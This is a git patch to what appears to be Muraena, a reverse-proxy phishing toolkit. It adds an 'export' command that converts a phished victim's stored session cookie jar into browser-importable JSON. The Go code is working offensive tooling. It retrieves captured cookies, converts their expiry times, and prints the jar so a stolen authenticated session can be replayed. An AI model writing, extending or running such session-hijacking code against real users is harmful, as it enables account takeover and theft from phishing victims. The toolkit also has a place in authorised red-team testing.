From 23d595e6bde4aa91f91c4520e2abfb4e4babde02 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Mon, 15 Feb 2021 09:47:40 +0100 Subject: [PATCH] Added export to export a full session cookieJar as JSON (ready for browser manual import) --- core/db/victim.go | 18 +++++++------- module/tracking/tracking.go | 9 +++++++ module/tracking/victim.go | 47 +++++++++++++++++++++++++++++++++++++ session/prompt.go | 10 ++++++-- 4 files changed, 74 insertions(+), 10 deletions(-) diff --git a/core/db/victim.go b/core/db/victim.go index 0588da8..c88abd5 100644 --- a/core/db/victim.go +++ b/core/db/victim.go @@ -35,14 +35,16 @@ type VictimCredential struct { // KEY scheme: // victim::cookiejar: type VictimCookie struct { - Name string `redis:"name"` - Value string `redis:"value"` - Domain string `redis:"domain"` - Expires string `redis:"expires"` - Path string `redis:"path"` - HTTPOnly bool `redis:"httpOnly"` - Secure bool `redis:"secure"` - Session bool `redis:"session"` // is the cookie a session cookie? + Name string `redis:"name" json:"name"` + Value string `redis:"value" json:"value"` + Domain string `redis:"domain" json:"domain"` + Expires string `redis:"expires" json:"expirationDate"` + Path string `redis:"path" json:"path"` + HTTPOnly bool `redis:"httpOnly" json:"httpOnly"` + Secure bool `redis:"secure" json:"secure"` + SameSite string `redis:"sameSite" json:"sameSite"` + Session bool `redis:"session" json:"session"` // is the cookie a session cookie? + } func StoreVictim(id string, victim *Victim) error { diff --git a/module/tracking/tracking.go b/module/tracking/tracking.go index 23d8678..1e6c5cc 100644 --- a/module/tracking/tracking.go +++ b/module/tracking/tracking.go @@ -71,6 +71,15 @@ func (module *Tracker) Prompt(what string) { case "credentials": module.ShowCredentials() } + + // export cookie jar as JSON file, like: export ygTCC + if strings.HasPrefix(what, "export ") { + id := strings.Split(what, " ") + if len(id) != 2 { + return + } + module.ExportSession(id[1]) + } } // IsEnabled returns a boolead to indicate if the module is enabled or not diff --git a/module/tracking/victim.go b/module/tracking/victim.go index c6b6c72..db178eb 100644 --- a/module/tracking/victim.go +++ b/module/tracking/victim.go @@ -1,8 +1,11 @@ package tracking import ( + "encoding/json" "fmt" + "github.com/muraenateam/muraena/module/necrobrowser" "os" + "time" "github.com/evilsocket/islazy/tui" @@ -67,6 +70,50 @@ func (module *Tracker) ShowCredentials() { } +// ShowVictims prints the list of victims +func (module *Tracker) ExportSession(id string) { + + const timeLayout = "2006-01-02 15:04:05 -0700 MST" + + rawCookies, err := db.GetVictimCookiejar(id) + if err != nil { + module.Debug("error fetching victim %d cookie jar: %s", id, err) + } + + // this extra loop and struct is needed since browsers expect the expiration time in unix time, so also different type + var cookieJar []necrobrowser.SessionCookie + + for _, c := range rawCookies { + log.Debug("trying to parse %s with layout %s", c.Expires, timeLayout) + t, err := time.Parse(timeLayout, c.Expires) + if err != nil { + log.Warning("warning: cant's parse Expires field (%s) of cookie %s. skipping cookie", c.Expires, c.Name) + continue + } + + nc := necrobrowser.SessionCookie{ + Name: c.Name, + Value: c.Value, + Domain: c.Domain, + Expires: t.Unix(), + Path: c.Path, + HTTPOnly: c.HTTPOnly, + Secure: c.Secure, + Session: t.Unix() < 1, + } + + cookieJar = append(cookieJar, nc) + } + + cookieJarJson, err := json.Marshal(cookieJar) + if err != nil { + module.Warning("Error marshalling the cookieJar: %s", err) + return + } + + log.Info("Victim %s CookieJar:\n\n%s", id, cookieJarJson) +} + // ShowVictims prints the list of victims func (module *Tracker) ShowVictims() { diff --git a/session/prompt.go b/session/prompt.go index bb00265..faf0c04 100644 --- a/session/prompt.go +++ b/session/prompt.go @@ -50,6 +50,10 @@ func Prompt(s *Session) { s.showTracking(result) } + if strings.HasPrefix(result, "export ") { + s.showTracking(result) + } + } } @@ -63,18 +67,20 @@ func validate(input string) error { return nil } + if strings.HasPrefix(input, "export ") { + return nil + } return errors.New(InvalidCommand) } func help() { log.Raw("**************************************************************************") - log.Raw("* NOTE: This feature is not fully implemented yet. ") - log.Raw("* Follow evolutions on https://github.com/muraenateam/muraena/issues/5") log.Raw("* Options") log.Raw("* - help: %s", tui.Bold("Prints this help")) log.Raw("* - exit: %s", tui.Bold("Exit from "+core.Name)) log.Raw("* - victims: %s", tui.Bold("Show active victims")) log.Raw("* - credentials: %s", tui.Bold("Show collected credentials")) + log.Raw("* - export : %s", tui.Bold("Export a session as JSON")) log.Raw("**************************************************************************") }